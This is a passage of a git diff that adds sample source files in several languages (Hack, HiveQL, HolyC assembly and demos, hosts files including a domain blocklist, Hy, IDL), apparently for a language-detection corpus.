+     * @return - A `KeyedIterator` that allows you to traverse the current `Map`.
+     */
+    <<__Rx, __MutableReturn, __MaybeMutable>>
+    public function getIterator(): \HH\Rx\KeyedIterator<Tk, Tv>;
+
+    /**
+     * Returns a `Map` containing the key/value pairs from the specified `array`.
+     *
+     * This function is deprecated. Use `new `Map`($arr)` instead.
+     *
+     * @param $arr - The `array` to convert to a `Map`.
+     *
+     * @return - A `Map` with the key/value pairs from the provided `array`.
+     */
+    <<__Deprecated('Use `new Map($arr)` instead.')>>
+    public static function fromArray(darray<Tk, Tv> $arr): Map<Tk, Tv>;
+
+    /**
+     * Creates a `Map` from the given `Traversable`, or an empty `Map` if
+     * `null` is passed.
+     *
+     * This is the static method version of the `Map::__construct()` constructor.
+     *
+     * @param $items - any `Traversable` object from which to create a `Map`
+     *                 (e.g., `array`). If `null`, then an empty `Map` is created.
+     *
+     * @return - A `Map` with the key/value pairs from the `Traversable`; or an
+     *           empty `Map` if the `Traversable` is `null`.
+     */
+    <<__Rx, __AtMostRxAsArgs, __MutableReturn>>
+    public static function fromItems(
+      <<__MaybeMutable, __OnlyRxIfImpl(\HH\Rx\Traversable::class)>>
+      ?Traversable<Pair<Tk, Tv>> $items,
+    ): Map<Tk, Tv>;
+
+    /**
+     * Returns the `string` version of the current `Map`, which is `"Map"`.
+     *
+     * @return - The `string` `"Map"`.
+     */
+    <<__Rx, __MaybeMutable>>
+    public function __toString(): string;
+
+    /**
+     * Returns an `Iterable` view of the current `Map`.
+     *
+     * The `Iterable` returned is one that produces the key/values from the
+     * current `Map`.
+     *
+     * @return - The `Iterable` view of the current `Map`.
+     */
+    <<__Rx, __MutableReturn, __MaybeMutable>>
+    public function items(): \HH\Rx\Iterable<Pair<Tk, Tv>>;
+    <<__Rx, __MaybeMutable>>
+    /* HH_FIXME[0002] */
+  public function toVArray(): varray<Tv>;
+    <<__Rx, __MaybeMutable>>
+    /* HH_FIXME[0001] */
+  public function toDArray(): darray<Tk, Tv>;
+  }
+
+} // namespace HH
+
+namespace {
+
+  /**
+   * @internal
+   *
+   * Methods and functions should take and return the KeyedIterator interface.
+   */
+  class MapIterator<Tk, +Tv> implements HH\Rx\KeyedIterator<Tk, Tv> {
+    <<__Rx>>
+    public function __construct();
+    <<__Rx, __MaybeMutable>>
+    public function current(): Tv;
+    <<__Rx, __MaybeMutable>>
+    public function key(): Tk;
+    <<__Rx, __MaybeMutable>>
+    public function valid(): bool;
+    <<__Rx, __Mutable>>
+    public function next(): void;
+    <<__Rx, __Mutable>>
+    public function rewind(): void;
+  }
+
+} // namespace
diff --git a/samples/Hack/first.hack b/samples/Hack/first.hack
new file mode 100644
index 0000000000..7825b20c50
--- /dev/null
+++ b/samples/Hack/first.hack
@@ -0,0 +1,17 @@
+// from https://docs.hhvm.com/hack/getting-started/getting-started
+// note: no <?hh header needed for .hack files
+
+namespace Hack\GettingStarted\MyFirstProgram;
+
+<<__EntryPoint>>
+function main(): noreturn{
+  echo "Welcome to Hack!\n\n";
+
+  \printf("Table of Squares\n" .
+          "----------------\n");
+  for ($i = -5; $i <= 5; ++$i) {
+    \printf("  %2d        %2d  \n", $i, $i * $i);
+  }
+  \printf("----------------\n");
+  exit(0);
+}
diff --git a/samples/HiveQL/mi.q b/samples/HiveQL/mi.q
new file mode 100644
index 0000000000..d00ace5714
--- /dev/null
+++ b/samples/HiveQL/mi.q
@@ -0,0 +1,23 @@
+set hive.mapred.mode=nonstrict;
+set hive.exec.dynamic.partition=true;
+set hive.exec.dynamic.partition.mode=nonstrict;
+
+-- SORT_QUERY_RESULTS
+
+create table nzhang_t1 like srcpart;
+create table nzhang_t2 like srcpart;
+
+FROM srcpart 
+INSERT OVERWRITE TABLE nzhang_t1 PARTITION (ds, hr) 
+SELECT key, value, ds, hr
+WHERE ds = '2008-04-08' AND hr = '11'
+INSERT OVERWRITE TABLE nzhang_t2 PARTITION (ds, hr) 
+SELECT key, value, ds, hr
+WHERE ds = '2008-04-08' and hr = '12'
+GROUP BY key, value, ds, hr;
+
+show partitions nzhang_t1;
+show partitions nzhang_t2;
+
+select * from nzhang_t1;
+select * from nzhang_t2;
diff --git a/samples/HiveQL/query.hql b/samples/HiveQL/query.hql
new file mode 100644
index 0000000000..fcd94816c8
--- /dev/null
+++ b/samples/HiveQL/query.hql
@@ -0,0 +1,35 @@
+SET hive.tez.container.size = 2048;
+set hive.optimize.sort.dynamic.partition=true;
+
+SET hivevar:DB=test;
+
+create database if not exists ${DB};
+
+-- External CSV table
+CREATE EXTERNAL TABLE ${DB}.users (
+  id STRING,
+  name STRING,
+  age INT
+)
+COMMENT 'External table mapping CSV files'
+ROW FORMAT DELIMITED
+FIELDS TERMINATED BY ','
+NULL DEFINED AS ''
+STORED AS TEXTFILE
+LOCATION 'hdfs:///some/hdfs/path'
+TBLPROPERTIES ('skip.header.line.count' = '1');
+MSCK REPAIR TABLE ${DB}.methodos_csv SYNC PARTITIONS;
+
+-- ORC table
+create table ${DB}.purchases
+as
+  select product, price, user_id
+from ${DB}.purchases_extended
+stored as orc
+tblproperties ('orc.compress'='ZLIB');
+
+-- Join query
+SELECT name, sum(price) as total_spent, count(product) as nb_products
+FROM ${DB}.users
+LEFT JOIN ${DB}.purchases
+GROUP BY name;
diff --git a/samples/HolyC/GrAsm.HC b/samples/HolyC/GrAsm.HC
new file mode 100644
index 0000000000..7b9f86f372
--- /dev/null
+++ b/samples/HolyC/GrAsm.HC
@@ -0,0 +1,411 @@
+#help_index "Graphics/Misc"
+asm {
+//************************************
+_GR_UPDATE_LINE64::
+	PUSH	RBP
+	MOV	RBP,RSP
+	PUSH	RSI
+	PUSH	RDI
+
+	MOV	RAX,U64 SF_ARG2[RBP]
+	MOV	RSI,U64 [RAX] // rsi=src
+	MOV	RBX,U64 [&rev_bits_table]
+	MOV	RCX,U64 SF_ARG3[RBP] // rcx=d
+	MOV	RAX,U64 SF_ARG4[RBP]
+	MOV	RDI,U64 [RAX] // rdi=image
+
+	MOV	RAX,U64 SF_ARG1[RBP]
+	MOV	R8,U64 [RAX] // rbp=vga dst
+
+@@05:	LODSQ
+	CMP	U64 [RDI],RAX
+	JE	@@10
+	MOV	U64 [RDI],RAX
+	XLATB
+	ROR	RAX,8
+	XLATB
+	ROR	RAX,8
+	XLATB
+	ROR	RAX,8
+	XLATB
+	ROR	RAX,8
+	XLATB
+	ROR	RAX,8
+	XLATB
+	ROR	RAX,8
+	XLATB
+	ROR	RAX,8
+	XLATB
+	ROR	RAX,8
+	MOV	U64 [R8],RAX
+@@10:	ADD	RDI,8
+	ADD	R8,8
+	DEC	RCX
+	JNZ	@@05
+
+	MOV	RAX,U64 SF_ARG1[RBP]
+	MOV	U64 [RAX],R8
+	MOV	RAX,U64 SF_ARG4[RBP]
+	MOV	U64 [RAX],RDI
+	MOV	RAX,U64 SF_ARG2[RBP]
+	MOV	U64 [RAX],RSI
+	POP	RDI
+	POP	RSI
+	POP	RBP
+	RET1	32
+	//************************************
+_GR_UPDATE_LINE64_FLUSH_CACHE::
+	PUSH	RBP
+	MOV	RBP,RSP
+	PUSH	RSI
+	PUSH	RDI
+
+	MOV	RAX,U64 SF_ARG2[RBP]
+	MOV	RSI,U64 [RAX] // rsi=src
+	MOV	RBX,U64 [&rev_bits_table]
+	MOV	RCX,U64 SF_ARG3[RBP] // rcx=d
+	MOV	RAX,U64 SF_ARG4[RBP]
+	MOV	RDI,U64 [RAX] // rdi=image
+
+	MOV	RAX,U64 SF_ARG1[RBP]
+	MOV	R8,U64 [RAX] // rbp=vga dst
+
+@@05:	LODSQ
+	MOV	U64 [RDI],RAX
+	XLATB
+	ROR	RAX,8
+	XLATB
+	ROR	RAX,8
+	XLATB
+	ROR	RAX,8
+	XLATB
+	ROR	RAX,8
+	XLATB
+	ROR	RAX,8
+	XLATB
+	ROR	RAX,8
+	XLATB
+	ROR	RAX,8
+	XLATB
+	ROR	RAX,8
+	MOV	U64 [R8],RAX
+	ADD	RDI,8
+	ADD	R8,8
+	DEC	RCX
+	JNZ	@@05
+
+	MOV	RAX,U64 SF_ARG1[RBP]
+	MOV	U64 [RAX],R8
+	MOV	RAX,U64 SF_ARG4[RBP]
+	MOV	U64 [RAX],RDI
+	MOV	RAX,U64 SF_ARG2[RBP]
+	MOV	U64 [RAX],RSI
+	POP	RDI
+	POP	RSI
+	POP	RBP
+	RET1	32
+	//************************************
+_DC_BLOT_COLOR4::
+	PUSH	RBP
+	MOV	RBP,RSP
+	PUSH	RSI
+	PUSH	RDI
+	PUSH	R10
+
+	MOV	RDI,U64 SF_ARG1[RBP]
+	MOV	RSI,U64 SF_ARG2[RBP]
+	MOV	RBX,U64 SF_ARG3[RBP]
+	MOV	RCX,U64 SF_ARG4[RBP]
+
+	MOV	R8,RDI
+	ADD	R8,RCX
+	MOV	R9,R8
+	ADD	R9,RCX
+	MOV	R10,R9
+	ADD	R10,RCX
+
+@@5:	LODSQ
+	MOV	RDX,U64 [RBX]
+	CMP	RAX,RDX
+	JE	I32 @@10
+	MOV	U64 [RBX],RAX
+
+	XOR	RDX,RDX
+	BT	RAX,7*8+0
+	ADC	RDX,0
+	SHL1	RDX
+	BT	RAX,6*8+0
+	ADC	RDX,0
+	SHL1	RDX
+	BT	RAX,5*8+0
+	ADC	RDX,0
+	SHL1	RDX
+	BT	RAX,4*8+0
+	ADC	RDX,0
+	SHL1	RDX
+	BT	RAX,3*8+0
+	ADC	RDX,0
+	SHL1	RDX
+	BT	RAX,2*8+0
+	ADC	RDX,0
+	SHL1	RDX
+	BT	RAX,1*8+0
+	ADC	RDX,0
+	SHL1	RDX
+	BT	RAX,0*8+0
+	ADC	RDX,0
+	MOV	U8 [RDI],DL
+
+	XOR	RDX,RDX
+	BT	RAX,7*8+1
+	ADC	RDX,0
+	SHL1	RDX
+	BT	RAX,6*8+1
+	ADC	RDX,0
+	SHL1	RDX
+	BT	RAX,5*8+1
+	ADC	RDX,0
+	SHL1	RDX
+	BT	RAX,4*8+1
+	ADC	RDX,0
+	SHL1	RDX
+	BT	RAX,3*8+1
+	ADC	RDX,0
+	SHL1	RDX
+	BT	RAX,2*8+1
+	ADC	RDX,0
+	SHL1	RDX
+	BT	RAX,1*8+1
+	ADC	RDX,0
+	SHL1	RDX
+	BT	RAX,0*8+1
+	ADC	RDX,0
+	MOV	U8 [R8],DL
+
+	XOR	RDX,RDX
+	BT	RAX,7*8+2
+	ADC	RDX,0
+	SHL1	RDX
+	BT	RAX,6*8+2
+	ADC	RDX,0
+	SHL1	RDX
+	BT	RAX,5*8+2
+	ADC	RDX,0
+	SHL1	RDX
+	BT	RAX,4*8+2
+	ADC	RDX,0
+	SHL1	RDX
+	BT	RAX,3*8+2
+	ADC	RDX,0
+	SHL1	RDX
+	BT	RAX,2*8+2
+	ADC	RDX,0
+	SHL1	RDX
+	BT	RAX,1*8+2
+	ADC	RDX,0
+	SHL1	RDX
+	BT	RAX,0*8+2
+	ADC	RDX,0
+	MOV	U8 [R9],DL
+
+	XOR	RDX,RDX
+	BT	RAX,7*8+3
+	ADC	RDX,0
+	SHL1	RDX
+	BT	RAX,6*8+3
+	ADC	RDX,0
+	SHL1	RDX
+	BT	RAX,5*8+3
+	ADC	RDX,0
+	SHL1	RDX
+	BT	RAX,4*8+3
+	ADC	RDX,0
+	SHL1	RDX
+	BT	RAX,3*8+3
+	ADC	RDX,0
+	SHL1	RDX
+	BT	RAX,2*8+3
+	ADC	RDX,0
+	SHL1	RDX
+	BT	RAX,1*8+3
+	ADC	RDX,0
+	SHL1	RDX
+	BT	RAX,0*8+3
+	ADC	RDX,0
+	MOV	U8 [R10],DL
+
+@@10:	ADD	RBX,8
+
+	INC	RDI
+	INC	R8
+	INC	R9
+	INC	R10
+
+	DEC	RCX
+	JNZ	I32 @@5
+
+	POP	R10
+	POP	RDI
+	POP	RSI
+	POP	RBP
+	RET1	32
+	//************************************
+_IS_PIX_COVERED0::
+	PUSH	RBP
+	MOV	RBP,RSP
+#assert FONT_WIDTH == FONT_HEIGHT == 8
+	MOV	RCX,U64 SF_ARG3[RBP]
+	SAR	RCX,3
+	MOV	RAX,U64 SF_ARG2[RBP]
+	SAR	RAX,3
+	MOV	RDX,U64 SF_ARG1[RBP]
+	IMUL2	RCX,TEXT_COLS
+	MOV	RBX,U64 [&gr.win_z_buf]
+	MOV	DX,U16 CTask.win_z_num[RDX]
+	ADD	RCX,RAX
+	XOR	RAX,RAX
+	CMP	DX,U16 [RBX+RCX*2]
+	JAE	@@05 // Jump not covered
+	INC	RAX
+@@05:	POP	RBP
+	RET1	24
+	//************************************
+_GR_ROP_EQU_U8_NO_CLIPPING::
+	// Puts foreground char shape onto gr.dc2.
+	// ch.u8[1] is color as a whole byte
+	// ch ATTRf_UNDERLINE attr flag is used.
+	PUSH	RBP
+	MOV	RBP,RSP
+	MOVZX	RAX,U8 SF_ARG1[RBP]
+	MOV	RDX,U64 [&text.font]
+	MOV	RAX,U64 [RDX+RAX*8] // RAX is 8x8 char font data, 64-bits
+	BT	U64 SF_ARG1[RBP],ATTRf_UNDERLINE
+	JNC	@@05
+	MOV	RBX,0xFF00000000000000
+	OR	RAX,RBX
+@@05:	TEST	RAX,RAX
+	JZ	I32 @@10
+
+	PUSH	RSI
+	PUSH	RDI
+	MOVZX	RBX,U8 SF_ARG1+1[RBP] // Warning color is 8-bit
+	MOV	RDX,U64 [&gr.to_8_colors]
+	MOV	R8,U64 [RDX+RBX*8] // R8 is color repeated 8 times.
+	MOV	R9,U64 SF_ARG3[RBP] // R9 is width_internal
+	MOV	RDI,U64 SF_ARG2[RBP]
+	MOV	RSI,U64 [&gr.to_8_bits] // RSI is gr.to_8_bits
+
+	//	m=my_1_to_8_bits[ch&255];ch>>=8;
+	//	*dst=*dst&~m|c&m;
+	//	dst(U8 *)+=w1;
+
+	MOVZX	RBX,AL
+	MOV	RDX,U64 [RSI+RBX*8]
+	SHR	RAX,8
+	MOV	RBX,U64 [RDI]
+	MOV	RCX,RDX
+	NOT	RCX
+	AND	RDX,R8
+	AND	RCX,RBX
+	OR	RCX,RDX
+	MOV	U64 [RDI],RCX
+	ADD	RDI,R9
+
+	MOVZX	RBX,AL
+	MOV	RDX,U64 [RSI+RBX*8]
+	SHR	RAX,8
+	MOV	RBX,U64 [RDI]
+	MOV	RCX,RDX
+	NOT	RCX
+	AND	RDX,R8
+	AND	RCX,RBX
+	OR	RCX,RDX
+	MOV	U64 [RDI],RCX
+	ADD	RDI,R9
+
+	MOVZX	RBX,AL
+	MOV	RDX,U64 [RSI+RBX*8]
+	SHR	RAX,8
+	MOV	RBX,U64 [RDI]
+	MOV	RCX,RDX
+	NOT	RCX
+	AND	RDX,R8
+	AND	RCX,RBX
+	OR	RCX,RDX
+	MOV	U64 [RDI],RCX
+	ADD	RDI,R9
+
+	MOVZX	RBX,AL
+	MOV	RDX,U64 [RSI+RBX*8]
+	SHR	RAX,8
+	MOV	RBX,U64 [RDI]
+	MOV	RCX,RDX
+	NOT	RCX
+	AND	RDX,R8
+	AND	RCX,RBX
+	OR	RCX,RDX
+	MOV	U64 [RDI],RCX
+	ADD	RDI,R9
+
+	MOVZX	RBX,AL
+	MOV	RDX,U64 [RSI+RBX*8]
+	SHR	RAX,8
+	MOV	RBX,U64 [RDI]
+	MOV	RCX,RDX
+	NOT	RCX
+	AND	RDX,R8
+	AND	RCX,RBX
+	OR	RCX,RDX
+	MOV	U64 [RDI],RCX
+	ADD	RDI,R9
+
+	MOVZX	RBX,AL
+	MOV	RDX,U64 [RSI+RBX*8]
+	SHR	RAX,8
+	MOV	RBX,U64 [RDI]
+	MOV	RCX,RDX
+	NOT	RCX
+	AND	RDX,R8
+	AND	RCX,RBX
+	OR	RCX,RDX
+	MOV	U64 [RDI],RCX
+	ADD	RDI,R9
+
+	MOVZX	RBX,AL
+	MOV	RDX,U64 [RSI+RBX*8]
+	SHR	RAX,8
+	MOV	RBX,U64 [RDI]
+	MOV	RCX,RDX
+	NOT	RCX
+	AND	RDX,R8
+	AND	RCX,RBX
+	OR	RCX,RDX
+	MOV	U64 [RDI],RCX
+	ADD	RDI,R9
+
+	MOV	RDX,U64 [RSI+RAX*8]
+	MOV	RBX,U64 [RDI]
+	MOV	RCX,RDX
+	NOT	RCX
+	AND	RDX,R8
+	AND	RCX,RBX
+	OR	RCX,RDX
+	MOV	U64 [RDI],RCX
+
+	POP	RDI
+	POP	RSI
+@@10:	POP	RBP
+	RET1	24
+}
+_extern _GR_ROP_EQU_U8_NO_CLIPPING U0 GrRopEquU8NoClipping(I64 ch,
+							   U8 *dst, I64 width_internal);
+public
+_extern _IS_PIX_COVERED0 Bool IsPixCovered0(
+	CTask *task, I64 x, I64 y); // No clipping
+
+_extern _GR_UPDATE_LINE64 U0 GrUpdateLine64(
+	U64 **_vga, U64 **_src, I64 d, U8 **_dst);
+_extern _GR_UPDATE_LINE64_FLUSH_CACHE U0 GrUpdateLine64FlushCache(
+	U64 **_vga, U64 **_src, I64 d, U8 **_dst);
+_extern _DC_BLOT_COLOR4 U0 DCBlotColor4(
+	U8 *dst, I64 *img, I64 *img_cache, I64 cnt);
diff --git a/samples/HolyC/OnceDemo.HC b/samples/HolyC/OnceDemo.HC
new file mode 100644
index 0000000000..4feafd81c0
--- /dev/null
+++ b/samples/HolyC/OnceDemo.HC
@@ -0,0 +1,10 @@
+U0 OnceDemo()
+{ // Set code to execute next reboot.
+	Once("Beep;");
+	Once("Dir;"); // You can issue multiple and they get queued.
+	"Reboot ";
+	if (YorN)
+		BootRAM;
+}
+
+OnceDemo;
diff --git a/samples/HolyC/Prompt.HC b/samples/HolyC/Prompt.HC
new file mode 100644
index 0000000000..4997cf210f
--- /dev/null
+++ b/samples/HolyC/Prompt.HC
@@ -0,0 +1,25 @@
+U0 PromptDemo()
+{
+	F64 d;
+	I64 i;
+	U8 *name;
+	CDate cdt;
+
+	"\n\nNow prompting from the cmd line.\n\n"
+	"$$GREEN$$<ENTER>$$FG$$ keeps default.\n\n";
+
+	i=GetI64("Enter int expression(%d):",123);
+ 	"Int=%d\n",i;
+
+	d=GetF64("Enter float expression(%12g):",1.2e3);
+	"Float=%e\n",d;
+
+	name=GetStr("Name (%s):","John");
+	"Name:%s\n",name;
+	Free(name);
+
+	cdt=GetDate("Date (%D):",Now);
+	"Date=%D\n",cdt;
+}
+
+PromptDemo;
diff --git a/samples/HolyC/RandDemo.HC b/samples/HolyC/RandDemo.HC
new file mode 100644
index 0000000000..6c1bddf693
--- /dev/null
+++ b/samples/HolyC/RandDemo.HC
@@ -0,0 +1,64 @@
+U0 RandPts()
+{
+	I64 i;
+	F64 t0=tS;
+	do {
+		for (i=0;i<1024;i++) {
+			gr.dc->color=RandU16&15;
+			GrPlot(gr.dc,RandU32%GR_WIDTH,RandU32%GR_HEIGHT);
+		}
+		Yield;
+	} while (tS-t0<1);
+	DCFill;
+}
+
+U0 RandDemo()
+{
+	I64 i;
+
+	"Seed(0) will do timer XORed random numbers.  "
+	"A task starts with $LK,"Seed(0)",A="FF:::/Kernel/KTask.HC,Seed("$ by dft.\n";
+	PressAKey;
+	Seed;
+	RandPts;
+	DCFill;
+
+	"\nSeed(num) will do deterministic, non-timer random numbers starting at "
+	"a specific seed.  You can run a specific video game over and over "
+	"by typing Seed(num) at the cmd line before the game.\n";
+	PressAKey;
+	Seed(1);
+	RandPts;
+	DCFill;
+
+	"\n\n\nWatch when we specify specific seeds:";
+
+	"\n\nSeed(1);\n";
+	Seed(1);
+	for (i=0;i<5;i++)
+		"%d: %d\n",i,RandI16;
+
+	"\nSeed(2); Different, right?\n";
+	Seed(2);
+	for (i=0;i<5;i++)
+		"%d: %d\n",i,RandI16;
+
+	"\nSeed(1); Repeats earlier values.\n";
+	Seed(1);
+	for (i=0;i<5;i++)
+		"%d: %d\n",i,RandI16;
+
+	"\nSeed(0); Zero is special.\n";
+	Seed(0);
+	for (i=0;i<5;i++)
+		"%d: %d\n",i,RandI16;
+
+	"\nSeed(0); Non-repeating.\n";
+	Seed(0);
+	for (i=0;i<5;i++)
+		"%d: %d\n",i,RandI16;
+
+	Seed; // Dft should be kept to zero.
+}
+
+RandDemo;
diff --git a/samples/HolyC/Spy.HC b/samples/HolyC/Spy.HC
new file mode 100644
index 0000000000..9baffd1faf
--- /dev/null
+++ b/samples/HolyC/Spy.HC
@@ -0,0 +1,63 @@
+// Pass the task structure you
+// wish to spy upon.
+
+U0 SpyStkRep(CTask *task)
+{
+	CDoc *doc=DocDblBufStart;
+	while (!ScanChar && TaskValidate(task)) {
+		StkRep(task);
+		'\n';
+		"$$BK,1$$PRESS A KEY$$BK,0$$\n";
+		DocDblBufSwap;
+		Refresh;
+	}
+	if (DocPut==doc) DocDblBufSwap;
+	DocDblBufEnd;
+}
+
+U0 SpyCallerRep(CTask *task)
+{
+	CDoc *doc=DocDblBufStart;
+	while (!ScanChar && TaskValidate(task)) {
+		CallerRep(task->rbp,task);
+		'\n';
+		"$$BK,1$$PRESS A KEY$$BK,0$$\n";
+		DocDblBufSwap;
+		Refresh;
+	}
+	if (DocPut==doc) DocDblBufSwap;
+	DocDblBufEnd;
+}
+
+U0 Spy()
+{
+	I64 i;
+	CTask *task;
+
+	while (TRUE) {
+		task=Fs->next_task;
+		while (task!=Fs) {
+			"$$MA+X,T=\"Task:%08X:%16ts\",LM=\"0x%08X\n\"$$\n",
+			task,task->task_name,task;
+			task=task->next_task;
+		}
+		'\n';
+		task=GetI64("Task Addr: ",0);
+		if (TaskValidate(task)) {
+			"\n\n\t$$BT,\"StkRep\",LM=\"1\n\"$$\n\n\n"
+			"\n\n\t$$BT,\"CallerRep\",LM=\"2\n\"$$\n\n\n";
+			i=GetI64("",0);
+			if (i==1)
+				SpyStkRep(task);
+			else if (i==2)
+				SpyCallerRep(task);
+			else
+				break;
+		} 
+		else
+			break;
+	}
+	'\n';
+}
+
+Spy;
diff --git a/samples/Hosts File/filenames/hosts b/samples/Hosts File/filenames/hosts
new file mode 100644
index 0000000000..271a86bd1d
--- /dev/null
+++ b/samples/Hosts File/filenames/hosts	
@@ -0,0 +1,4 @@
+127.0.0.1	localhost labs
+255.255.255.255	broadcasthost
+::1	localhost
+fe80::1%lo0	localhost
diff --git a/samples/Hosts File/filenames/hosts.txt b/samples/Hosts File/filenames/hosts.txt
new file mode 100644
index 0000000000..e331e3df46
--- /dev/null
+++ b/samples/Hosts File/filenames/hosts.txt	
@@ -0,0 +1,95 @@
+#
+# License:									MIT License (MIT)
+# File encoding: 							UTF-8 Dos/Windows 1252
+# Original maintainer:						CHEF-KOCH
+# Notice:									
+# Version:									000000000011
+# Homepage: 								http://chef-koch.github.io/NSABlocklist/HOSTS.txt
+#
+127.0.0.1 localhost						#[IPv4 only]
+127.0.0.1 localhost.localdomain			#
+127.0.0.1 255.255.255.255 broadcasthost #Unix/Mac serv.
+#::1 localhost							#[IPv6 only]
+#127.0.0.1 local 						#Unix only
+#
+
+# NSABlocklist begins here
+0.0.0.0 adm.kemoge.net
+0.0.0.0 taosha.cc
+0.0.0.0 ns1.automattic.com
+0.0.0.0 dns.ns1.edgecastcdn.net
+0.0.0.0 skewednews.net
+0.0.0.0 open-tx.org
+0.0.0.0 razor-qt.org
+0.0.0.0 nickknowlson.com
+0.0.0.0 springfuse.com
+0.0.0.0 ns4.1-800-hosting.com
+0.0.0.0 ns7.dns-net.de
+0.0.0.0 coffeehausblog.com
+0.0.0.0 ns1.dns-net.de
+0.0.0.0 newjunk4u.com
+0.0.0.0 suddenplot.com
+0.0.0.0 ns2.21vianet.com.cn
+0.0.0.0 martinharrigan.ie
+0.0.0.0 DARKNESS.SU
+0.0.0.0 WEED.SU
+0.0.0.0 MEZIAMUSSUCEMAQUEUE.SU
+0.0.0.0 UMBXD15896.SU
+0.0.0.0 STYXB1TCH35.SU
+0.0.0.0 J1NXFYR3.SU
+0.0.0.0 dns1.wiresix.com
+0.0.0.0 andyshora.com
+0.0.0.0 monster-ads.net
+0.0.0.0 nickleplatedads.com
+0.0.0.0 chrissharkey.com
+0.0.0.0 ns2.olemiss.edu
+0.0.0.0 dns2.accesscomm.ca
+0.0.0.0 ns2.pnap.net
+0.0.0.0 dns2.artelecom.pt
+0.0.0.0 ns.relc.com
+0.0.0.0 ns.ukrnet.net
+0.0.0.0 ns.ua.net
+0.0.0.0 ns.lucky.net
+0.0.0.0 ns.adams.net
+0.0.0.0 electronicfrontierfoundation.org
+0.0.0.0 ns2.acnusa.net
+0.0.0.0 ns2.eatel.net
+0.0.0.0 gamma.aei.ca
+0.0.0.0 delta.aei.ca
+
+# GOV Pages only
+0.0.0.0 ABERDEENWA.GOV
+0.0.0.0 ABINGDON-VA.GOV
+0.0.0.0 ABINGTONMA.GOV
+0.0.0.0 ABSECONNJ.GOV
+0.0.0.0 ACTON-MA.GOV
+0.0.0.0 ACTONMA.GOV
+0.0.0.0 ADAK-AK.GOV
+0.0.0.0 ADAMN.GOV
+0.0.0.0 ADDISONTX.GOV
+0.0.0.0 AFTONWYOMING.GOV
+0.0.0.0 AKRONOHIO.GOV
+0.0.0.0 ALAMEDACA.GOV
+0.0.0.0 ALGONAWA.GOV
+0.0.0.0 ALIQUIPPAPA.GOV
+0.0.0.0 ALLIANCEOH.GOV
+0.0.0.0 ALMONTMICHIGAN.GOV
+0.0.0.0 ALSTEADNH.GOV
+0.0.0.0 ALTAVISTAVA.GOV
+0.0.0.0 ALTON-TX.GOV
+0.0.0.0 ALTUSOK.GOV
+0.0.0.0 ALVIN-TX.GOV
+0.0.0.0 AMARILLO.GOV
+0.0.0.0 AMENIANY.GOV
+0.0.0.0 AMERICUSGA.GOV
+0.0.0.0 AMERYWI.GOV
+0.0.0.0 AMITYARKANSAS.GOV
+0.0.0.0 AMSTERDAMNY.GOV
+0.0.0.0 ANDOVERMN.GOV
+0.0.0.0 ANGELFIRENM.GOV
+0.0.0.0 ANGELSCAMP.GOV
+0.0.0.0 ZIONSVILLE-IN.GOV
+0.0.0.0 dsdn-gh1-uea05.nsa.gov
+0.0.0.0 emvm-gh1-uea08.nsa.gov
+# /GOV Pages
+#/NSABlocklist ends here
diff --git a/samples/Hy/fizzbuzz b/samples/Hy/fizzbuzz
new file mode 100755
index 0000000000..6ec75e7039
--- /dev/null
+++ b/samples/Hy/fizzbuzz
@@ -0,0 +1,10 @@
+#!/usr/bin/env hy
+(defn fizz [] (print "Fizz"))
+(defn buzz [] (print "Buzz"))
+(defn fizzbuzz [] (print "FizzBuzz"))
+
+(defmain [&rest args] (for [i (range 1 21)]
+                        (cond [(and (= 0 (% i 3)) (= 0 (% i 5))) (fizzbuzz)]
+                              [(= 0 (% i 3)) (fizz)]
+                              [(= 0 (% i 5)) (buzz)]
+                              [True (print i)])))
diff --git a/samples/IDL/amespahdbidlsuite_spectrum__define.pro b/samples/IDL/amespahdbidlsuite_spectrum__define.pro
new file mode 100644
index 0000000000..05bd753ec5
--- /dev/null
+++ b/samples/IDL/amespahdbidlsuite_spectrum__define.pro
@@ -0,0 +1,1083 @@
+; docformat = 'rst'
+
+;+
+;
+; Class to manage a spectrum.
+;
+; Updated versions of the NASA Ames PAH IR Spectroscopic Database and
+; more information can be found at: `www.astrochemistry.org/pahdb <https://www.astrochemistry.org/pahdb>`.
+;
+; :Examples:
+;   Create and destroy an
+;   AmesPAHdbIDLSuite_Spectrum-instance::
+;
+;     IDL> spectrum = OBJ_NEW('AmesPAHdbIDLSuite_Spectrum')
+;     IDL> spectrum->Set,data
+;     IDL> spectrum->Plot
+;     IDL> OBJ_DESTROY,spectrum
+;
+; :Author:
+;   Dr. Christiaan Boersma
+;
+; :Copyright:
+;   BSD licensed
+;
+; :History:
+;   Changes::
+;
+;     07-08-2022
+;     Pass EXTERNAL_NNLS to FIT in MCFIT. Christiaan Boersma.
+;     05-18-2022
+;     Use HISTOGRAM speed-up in PLOT. Christiaan Boersma.
+;     04-28-2022
+;     Clean up OBSERVATION in MCFIT when internally generated.
+;     Christiaan Boersma.
+;     04-27-2022
+;     Added MCFIT and corrected small typos in description of FIT.
+;     Christiaan Boersma.
+;     08-17-2021
+;     Don't try and access pointer when it is not set in DESCRIPTION.
+;     Christiaan Boersma.
+;     05-03-2021
+;     Avoid potential issues when self.uids and self.data.uid don't have 
+;     the same ordering. Christiaan Boersma.
+;     05-02-2021
+;     Added NOTICE-keyword to FIT. Christiaan Boersma.
+;     04-30-2021
+;     Refactored FIT to make use of matrix operation.
+;     Christiaan Boersma.
+;     09-19-2017
+;     Fixed !NULL value in return for FWHM in FIT.
+;     06-27-2016
+;     Added EXTERNAL_NNLS-keyword to FIT. Christiaan Boersma.
+;     03-23-2016
+;     Removed unnecessary declaration of 'weights' in FIT. Christiaan
+;     Boersma.
+;     03-18-2016
+;     Replaced [ ] with !NULL in NNLS to avoid compiler error for IDL
+;     version older than 8. Christiaan Boersma.
+;     11-05-2015
+;     Added REGRID. Christiaan Boersma.
+;     07-12-2015
+;     Added method to FIT. Christiaan Boersma.
+;     02-01-2015
+;     First version of the file. Christiaan Boersma.
+;-
+
+;+
+;  Output spectrum description.
+;
+;  :Params:
+;     Str: out, optional, type="string array"
+;       Ouput to Str
+;
+; :Categories:
+;   INFORMATIVE
+;-
+PRO AmesPAHdbIDLSuite_Spectrum::Description,Str
+
+  COMPILE_OPT IDL2
+
+  ON_ERROR,2
+
+  self->AmesPAHdbIDLSuite_Data::Description,Str
+
+  Str = [Str, STRING(FORMAT='(A-12,":",X,g-8.4,X,A-0)', "shift", self.shift, "cm!U-1!N")]
+
+  Str = [Str, STRING(FORMAT='(A-12,":",X,A-0)', "profile", self.profile)]
+
+  IF PTR_VALID(self.fwhm) THEN BEGIN
+
